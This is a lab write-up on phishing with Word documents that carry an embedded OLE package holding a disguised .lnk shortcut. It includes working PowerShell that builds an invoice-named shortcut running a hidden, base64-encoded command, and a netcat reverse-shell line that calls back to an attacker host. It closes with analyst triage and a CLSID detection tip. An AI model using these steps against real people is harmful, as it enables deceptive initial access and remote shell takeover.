Phishing: OLE + LNK
Phishing, Initial Access using embedded OLE + LNK objects
This lab explores a popular phishing technique where attackers embed .lnk files into the Office documents and camouflage them with Ms Word office icons in order to deceive victims to click and run them.
Creating an .LNK file that will trigger the payload once executed:
$command = 'Start-Process c:\shell.cmd'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
$obj = New-object -comobject wscript.shell
$link = $obj.createshortcut("c:\experiments\ole+lnk\Invoice-FinTech-0900541.lnk")
$link.windowstyle = "7"
$link.targetpath = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
$link.iconlocation = "C:\Program Files\Windows NT\Accessories\wordpad.exe"
$link.arguments = "-Nop -sta -noni -w hidden -encodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAGMAOgBcAHMAaABlAGwAbAAuAGMAbQBkAA=="
Powershell payload will trigger a rudimentary NC reverse shell:
C:\tools\nc.exe 10.0.0.5 443 -e cmd.exe
Once the above powershell script is executed, an
.LNKshortcut is created:
Let's create a Word document that will contain the malicious shortcut that was created in the previous step:
Let's insert a new object into the document by selecting a
Packageand changing its icon source to a Microsoft Word executable:
Point the package to the .lnk file containing the payload:
Victim executing the embedded document. Gets presented with a popup to confirm execution:
Once the victim confirms they want to open the file - the reverse shell comes back to the attacker:
OLE+LNK Powershell Script
Completely not a scam - ole+lnk.docx
Phishing: OLE+Lnk MS Word Doc Package
After the payload is triggered, the process ancestry looks as expected - powershell gets spawned by winword, cmd is spawned by powershell..:
Soon after, the powershell gets killed and cmd.exe becomes an orphaned process:
Like in T1137: Phishing - Office Macros, you can use rudimentary tools on your Windows workstation to quickly triage the suspicious Office document. First off, rename the file to a .zip extension and unzip it. Then you can navigate to
oleObject.binfile that contains the malicious
Then you can do a simple
stringsor hexdump against the file and you should immediately see signs of something that should raise your eyebrow(s):
hexdump.exe -C .\oleObject1.bin
As an analyst, one should look for
CLSID 00021401-0000-0000-c000-000000000046in the .bin file, which signifies that the .doc contains an embnedded .lnk file. In our case this can be observed here: